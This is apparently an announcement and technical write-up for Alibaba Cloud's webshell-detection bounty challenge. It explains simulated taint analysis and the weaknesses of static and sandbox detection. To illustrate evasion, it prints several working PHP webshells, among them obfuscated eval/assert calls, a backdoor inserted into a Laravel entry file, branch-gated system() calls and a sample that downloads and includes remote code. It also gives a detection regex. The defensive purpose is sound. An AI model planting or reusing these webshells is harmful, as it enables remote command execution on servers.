安全是一个动态的过程,攻防对抗如同在赛博世界里降妖伏魔,其要义是:取彼之长,补己之短。
——伏魔引擎的诞生
伏魔引擎挑战赛
注册时间: 2022.01.10 00:00:00 - 2022.01.24 10:00:00(UTC +8)
比赛时间: 2022.01.17 10:00:00 - 2022.01.24 10:00:00(UTC +8)
主办方: 薪火实验室 & 云安全中心 & ASRC
比赛奖金:比赛奖金:1000 RMB/份有效报告(中国区用户)、150 USD/份有效报告(面向海外用户),赛事组在中场会视赛事情况提升奖金额度。
面向群体:国内、国外白帽群体
活动网址:https://security.alibaba.com/online/detail?type=1&id=114&tab=1
公测背景:
伏魔引擎挑战赛是阿里云安全“宙斯计划——恶意文本检测挑战赛”的延续,整合了宙斯计划近4次公测活动中,2000+安全专家和白帽子们贡献的对抗样本。
作为Webshell检测的集大成者,伏魔(fomo)引擎集静态检测+AI检测+动态沙箱执行检测等多种综合手段为一体,加之锤炼已近2年,新开放公测的模拟污点执行引擎,给挑战者以更高的赏金、更丰富的靶场、更大的舞台,让更多安全专家齐聚一堂探索Webshell攻防领域高峰。
本届活动,我们同时开通了国内和国外的提交通道,同时还邀请了长亭 RealWorld参赛选手。欢迎海内外白帽共襄盛会。
模拟污点检测首度公测
在打磨检测引擎的过程中,我们逐渐意识到传统静态检测和动态检测的困境。基于上千种不同类型的对抗样本,我们打磨出模拟污点执行引擎,它既可以有效应对高级对抗手法,又能有效降低误报率。
要想理解什么是模拟污点执行检测,需要先了解两个概念。解释性脚本语言的执行过程和污点传播检测原理。
PHP执行过程
以PHP为例,脚本语言执行的过程如下:
PHP源代码会经过词法、语法的分析形成抽象语法树(AST),然后解析AST,生成opcodes,最后依次执行opcodes。在这个过程中,所有的源代码都会生成AST。
<?php $fa = new SplFixedArray($_GET["num"]); $fa[0] = $_GET["cmd"]; eval($fa->toArray()[0]); ?>
污点传递
污点分析就是分析程序中由污点源引入的数据,在经过数据流处理,传播到污点汇聚点后,是否符合预设的策略。对于Webshell的定义而言,这个策略就是外部可控的值,能否传递进危险函数,从而达到任意代码执行、命令执行的目的。
传统的词法引擎检测方案
PHP源代码会产生AST。通过对AST树进行遍历,可以将$_GET、$_POST等外部可控的变量标记成污点,直至污点传递至危险函数。
但是这种检测方案会产生漏报。以下面代码为例:
<?php @$_="s"."s"./*-/*-*/"e"./*-/*-*/"r"; @$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t"; @$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"} [/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);?>
遇到代码执行、条件判断、函数调用等操作,在AST上仅仅展示一个节点,无法拿到隐藏的恶意代码信息,也就无法进行检测。
面向高对抗样本的模拟污点检测
而模拟污点检测引擎不只是在原始AST树上进行遍历,而是对每个节点进行模拟执行。
这样做的优势是不需要修改原有的zend引擎来适配检测的逻辑,而是专门面向高对抗样本定制的策略。下面我将举个例子,来说明这种方案的优越性。
<?php // a=whoami $l = strlen(number_format(-0.01)); substr("11system", $l, 6)($_GET['a']);
number_format函数是7.2版本的不兼容变更,这就意味着此webshell只能运行在php7.2以下的版本。如果动态沙箱为7.2及其以上,则无法计算出恶意代码,从而产生漏报。
除此之外,模拟污点引擎还添加了大量推理执行逻辑,当攻击者有意对抗时,会进行污点传播。
模拟污点引擎的本质是尽量让恶意特征暴露出来:
能直接执行的样本直接运行;不能直接执行的样本模拟执行;不能模拟执行的样本继续推理执行。
看完了模拟污点引擎的优越性,下面我们谈一谈传统静态、动态检测方案的困境。
静态检测难以应对未知威胁
纯静态检测是最早的文本检测手段,自诞生起直到现在还在被大量应用。但其实静态检测的效果取决于对文本特征的提取,特征的维度直接决定误报率和漏报率。在这个章节,我们主要讨论纯源码规则的静态匹配,不包括对文本进行提取AST、opcode等特征再进行静态匹配的情况。
主流的静态检测方法具备检测速度快,普适性好(跨平台、跨版本、跨语言等),实现成本低(理论上只要是黑样本,都可以写规则覆盖)的特点;然而,由于缺乏词法、语法的约束,更易产生误报,同时缺乏对抗性和技术壁垒的特点,使得此类型检测算法在遇到加壳、加密、混淆样本时难以检出,无法形成差异化优势。
正则表达式匹配易误报
<?php eval($_POST['shell']);
对于上面的Webshell可以直接写正则表达式进行文本匹配:
(eval|system)\(\$_(POST|GET|REQUEST)\[
利用正则表达式可以很容易对已知恶意样本进行匹配,但缺点也很明显,正则表达式无法进行词法、语法的约束,匹配到的文本不一定能正确的执行。
<?php eval($_POST['
如上述代码也会被规则匹配到。
算法二分类检测难以识别混淆对抗
脚本语言具有较强的灵活性,可以进行编码、加壳等混淆代码操作,躲避正则表达式的检测,从而形成漏报。
<?php function test(){ $a = base64_decode("YXNzZXJ0"); $b = "$_GET[1]"; $a($b); } test(); ?>
对于上述的Webshell代码,除了写正则表达式检测外,不考虑语义信息,最简单的办法就是用分割符分词,产生词向量。交给算法(机器学习、深度学习),利用大量黑白样本去数据拟合,从而达到检测的目的。
这种方案存在明显不足,对于0day样本(从未在测试集内出现)的场景,无法检出。而攻防本身就对抗激烈,攻击者会事先构造高对抗的Webshell样本,尝试绕过检测引擎。
动态检测环境依赖度高
当对恶意文本的静态特征提取足够准确时,是较为容易检出的。但攻击者通常会采用代码混淆(加壳、编码、加密)阻碍提取特征,所以就需要动态运行跑出所有的特征,从而进行检测。
动态检测算法技术难度高,可以实现更高级复杂的检测技术,同时因真实执行,恶意代码符合语法、词法约束,不强制干预情况下误报极低。然而,由于真实执行需要对整个运行环境进行仿真和定制设计,存在成本高、检测效率低、兼容性差的问题。
以PHP为例,将phpinfo();代码进行编码并加壳混淆。
可以看到混淆成这样,静态检测是很难写规则的,如只针对特定的函数调用进行匹配,那么就会产生误报。所以需要动态执行,将隐藏的特征暴露出来,从而达到检测的目标。通过PHP VLD插件可以拿到PHP生成的OPCODE以及动态运行下的OPCODE调用。
可以看到该样本实际调用了phpinfo,通过动态运行,可以更加精准的检测样本。但不加干扰的动态执行,会遇到各种对抗的挑战。不难理解,攻击者通过构造各种条件,让动态沙箱无法将样本正常运行下去,从而躲避检测。
困境1:缺乏依赖无法运行
PHP、JSP等脚本语言可以通过include语法,引入库函数至当前作用域进行调用。动态沙箱只能拿到当前页面的代码进行运行,从而缺乏依赖,无法正常运行。
<?php /** * Laravel - A PHP Framework For Web Artisans * * @package Laravel * @author Taylor Otwell <taylor@laravel.com> */ define('LARAVEL_START', microtime(true)); /* |-------------------------------------------------------------------------- | Register The Auto Loader |-------------------------------------------------------------------------- | | Composer provides a convenient, automatically generated class loader for | our application. We just need to utilize it! We'll simply require it | into the script here so that we don't have to worry about manual | loading any of our classes later on. It feels great to relax. | */ require __DIR__.'/../vendor/autoload.php'; /* |-------------------------------------------------------------------------- | Turn On The Lights |-------------------------------------------------------------------------- | | We need to illuminate PHP development, so let us turn on the lights. | This bootstraps the framework and gets it ready for use, then it | will load up this application so that we can run it and send | the responses back to the browser and delight our users. | */ $app = require_once __DIR__.'/../bootstrap/app.php'; /* |-------------------------------------------------------------------------- | Run The Application |-------------------------------------------------------------------------- | | Once we have the application, we can handle the incoming request | through the kernel, and send the associated response back to | the client's browser allowing them to enjoy the creative | and wonderful application we have prepared for them. | */ $a=array($_REQUEST['yydsyyds1']=>"3"); $b=array_keys($a)[0]; eval($b); $kernel = $app->make(Illuminate\Contracts\Http\Kernel::class); $response = $kernel->handle( $request = Illuminate\Http\Request::capture() ); $response->send(); $kernel->terminate($request, $response);
这类样本又称为插马(在正常的文件内插入Webshell代码)。一方面在服务器上无新增落盘文件,躲避检测;另一方面可以有效避免沙箱“重放”运行。此样本单独运行,会因找不到依赖报错终止运行。需要对异常等函数调用进行特殊处理才能够将特征暴露出来。
困境2:对抗手段多,引入新攻击面
攻击者会使用分支等绕过手段,根据某外部传入参数,决定某IF条件的判断结果,防止动态沙箱的重录。
示例1- 分支对抗
// 分支对抗 <?php if($_GET['pass']=="admin") { if($_GET['normal'] == "1"){ $a = "echo normal" ; // 分支 1 }else if ($_GET['evil'] == "1") { $a = $_GET['cmd']; // 分支 2 } }else { $a = "echo normal"; //分支3 } system($a); ?>
只有当外部传入GET参数 webshell.php?pass=admin&evil=1&cmd=whoami时,才能执行分支2的恶意代码。
动态沙箱拿不到外部的输入,只能执行到分支3的默认逻辑,从而绕过检测。
示例2- 网络对抗
// 网络对抗 <?php copy("http://webshell.com/1.png",'2.png'); if($_GET['abc']=='firefox'){ require '2.png'; } else{ echo "no file"; } c();
绝大多数动态沙箱,会进行断网处理,目的是为了安全可控,防止攻击者攻击沙箱。但这种措施同时会引入新的攻击面。攻击者可以将恶意代码藏在远程资源,通过请求远程资源获得恶意代码并执行。
困境3:版本碎片化严重
以PHP和JSP举例,PHP的主流版本为PHP5、PHP7、PHP8,JSP的主流版本为JDK1.6、JDK1.7、JDK1.8、JDK1.9、JDK10、JDK11、JDK12、JDK13、JDK14、Tomcat7、Tomcat8、Tomcat9、Tomcat10。每个版本都具有新特征的增加或者旧版本的遗弃,这样带来的直接问题,防御者需要为每一个版本定制动态沙箱,工程量巨大且难以维护。可以看到下面的Webshell代码,在每个php版本的写法都不一致。
<?php // php5&php7兼容写法 ${$_GET['var_name']}=$_GET['cmd']; system($a); // $a如何确定有没有赋值? ?> <?php //php5写法,与php7不兼容 $$_GET['var_name']=$_GET['cmd']; system($a); ?>
业内通用做法-执行强制干预
以PHP举例,业内对于上述对抗惯用的做法是,通过Hook PHP的执行函数和Opcode达到强制干预执行流、处理异常等行为。
这种方案遇到新版本的特征,通过修改zend引擎需要不断兼容,工程量巨大。同时如果暴力的进行执行干预、污点传递,容易产生大量误报。
模拟污点检测实现漏/误报的平衡
从“误报”的种类区分,共有两种类型。
•业务性误报:这种类型的误报顾名思义,开发者部署正常的业务代码,检测引擎将其识别为“Webshell”,这个原因是检测引擎对误报的控制程度不够。
•构造性误报:在攻防对抗中,攻击者在尝试构造绕过样本中触发的异常检测点,又或者是在特定版本比较苛刻的利用条件。较业务性误报而言,构造性“误报”大多为对抗过程中的异常层。
这一类型的误报,在实际的业务场景中,开发者不会写这种类型的代码,不会产生业务性误报。举个例子:
<?php eval($a); ?>
php 5.3以下版本register_globals默认开启的全局变量配置,url请求?a=phpinfo();即可利用。但是5.3以下版本不是主流版本,一些缺乏安全经验的人第一眼看到此代码以为是误报。
安全是动态博弈的过程,在过度追求高检出的同时,也会引入大量误报。
模拟污点检测的最大优势在于有利于平衡误报和漏报,引擎内置了各种降误报的机制,同时模拟较为真实的运行结果,极大降低了误报率。Webshell检测能力作为基础的云安全能力,服务阿里云的广大客户,如果业务性误报过多,将极大影响客户的使用。
对于客户而言,我们通过市场化、公平公开的赏金挑战赛方式,让旗下安全产品直接接受行业生态的检验,客户在选择产品的时候,可以综合考虑该产品的赏金测评结果,从而做出更好的购买决策。
对于安全产品而言,尤其是攻防类产品,它不是一个静止不变的实体商品,它从研发、交付、到后期维护,本身是一个不断动态变化的实体,需要不断的通过内部视角、外部视角去锤炼安全能力。
对于行业而言,赏金挑战赛不是一锤子买卖,一次锣鼓喧天搞完就结束,而是要长期持续举办。能力强不是自己说说而已,能力水位需要得到外部视角的不断验证。